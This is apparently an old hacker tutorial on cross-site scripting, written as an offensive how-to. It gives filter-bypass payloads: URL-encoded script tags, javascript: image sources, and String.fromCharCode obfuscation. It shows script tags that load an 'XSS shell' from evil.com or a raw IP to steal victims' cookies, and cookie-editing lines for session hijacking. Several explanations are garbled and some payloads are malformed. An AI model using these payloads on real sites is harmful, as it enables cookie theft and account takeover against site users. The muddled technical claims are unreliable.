Introduction : A lot of people scale miniature when forming or discussing Cross Site Scripting, this lesson today will hopefully change the thoughts of others. Cross Site Scripting, persistent or not persistent is still a dangerous threat, not only to the application form, but to you. What most people forget is the dangerous inducible abilities it has to offer, even if it remains Client-Side, that doesn’t mean source changeover can’t happen, it also sure as hell doesn’t mean your not posed by a threat, a simple URL encode/hyperlink could change everything.
We will discuss:
# Tips & Discussion about the art of Cross Site Scripting
# Filters and how-to bypass
# Syntax and Explanation
# Where to go from there;
Notes! : String.fromCharCode() is case sensitive, be sure its inputted like String.fromCharCode and not string.fromCharCode()
XSS: Cross Site Scripting (X=crossed, S=site, S=scripting)
Definition: This is commonly a client-side attack but if embedded correctly in the source it could cause permanent damage to your website (mainly persistent XSS and/or XSS Shells).
This attack just brightens up every month you see it in action. What we do with this attack is simply use Javascript to evade website orders, so for example, if we wanted Bob’s user agent information, we could use our very own XSS Shell to gather not only the user agent information, but his cookies!
Starting off, if you want to identify vulnerable sectors quickly, once you broaden your attack, view the source for combinations of <XSS or <XSS, if it results in <:XSS, then that means your request was filtered. All you really have to do is look for the finalized result, which in our case was <script>alert(„XSS“);</script>
But this doesn’t stop some people, some sites have basic filters such as:
1 ) Character evasion (<script src, etc)
2 ) <script> or any other Java relation blocked
3 ) Character(s) escaped
4 ) Magic_Quotes=ON
With a simple URL encode, we could bypass this filter, This isn’t guaranteed every time as you can easily prevent this by encoding the output based on the input parameters, filter input parameters for special characters. and of course filter output based on input parameters for special characters. An example of URL Encoding in action:
localhost/search.php?res=%3Cscript%3Ealert(%22XSS%22)%3B%3C%2Fscript%3E
Our request is encoded but remains readable (its a URL intestacy). What this does is bypass basic filters (mainly character escalation);
If this still doesn’t work, its probably frustrating you but you could try reading from img src that pertains your Javascript request, example:
<IMG SRC="javascript:alert('XSS')"
If Magic_Quotes is on, it will just filter our output (\’XSS\‘), and if that happens, we can’t output our alert message. But luckily, Javascript has a neat feature we can use called String.fromCharCode, using this feature, we hex our strings to make our message readable, example:
<script>alert(String.fromCharCode(88, 83, 83))</script>
88, 83, 83 are the characterized version of XSS
String.fromCharCode Encoder:
http://www.martineve.com/2007/05/23/string-fromcharcode-encoder/
If it has Character evasion as a filter, we can bypass this quite easily because there are alternatives is <script> is blocked, but in this case we will concentrate on successfully including our XSS Shell:
<SCRIPT a=">" SRC="http://evil.com/evil/shell.asp"></SCRIPT>
But even if we use this shortcut, there is a possibility that magic quotes is on and filter arrays are in place. To bypass this, there are two methods, IP utilization and String.fromCharCode, we will discuss String.fromCharCode first.
This is a very common shortcut/intrusion pentesters use, as mentioned above, we have full control of the outcome, all String.fromCharCode will do for us is convert our message to Unicode values (message in „“), its readable and decipherable because its a string used in Javascript, example:
<script src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,101,118,105,108,46,99,111,109,47,101,118,105,108,46,97,115,112))</script>
The chars represent „http://www.evil.com/evil.asp“.
Now we are going to discuss the possibility of lengthen preventions and URL’s programmically not being allowed.
In some cases, you aren’t allowed to execute/read from whatever in $page, sometimes inputs are sanitized and that includes (HTTP/www/com/net/org/uk/co/cc, etc) . To bypass this, you could read from an IP address to reinstate your evil file. Example:
<script src=127.0.0.1/evil.asp</script>
In some cases, it can work, and in others, not so much. What we are basically doing is reading from the IP address, and reinstating our request via /evil.asp (we are still taken to the original destination) .
But sometimes, we won’t be bale to make a direct connection, and for all you know, that IP you included could have been blacklisted (reverse-IP and route all those addresses to iptables), we can pass this filter using the following routes (w/ explanation)
<script src=127.0.0.1%3A80%2Fevil.asp</script> - We attempt to connect to the web service via :80, you can do this via 127.0.0.1:80 as well but some filters don't allow remote connections, that's why advisability is in play. <script src=127.0.0.1:80/evil.asp</script> - As mentioned above
If the site is vulnerable, its going to be embedded in the source and every time a victim visits, logs get transferred to the index page for the admin portal.
Where do you go from here? Now you want to edit your cookie field. To do this, we use the following code:
javascript:void(document.cookie="Field=?");
Field replaced with the field name of the cookie path, (Ex:Name/SessionID,etc). And ? replaced with the value.
This is also useful if you want to session hijack, an example being:
javascript:void(document.cookie=”Authorized=yes”);
Enjoy! ~ X-pOSed
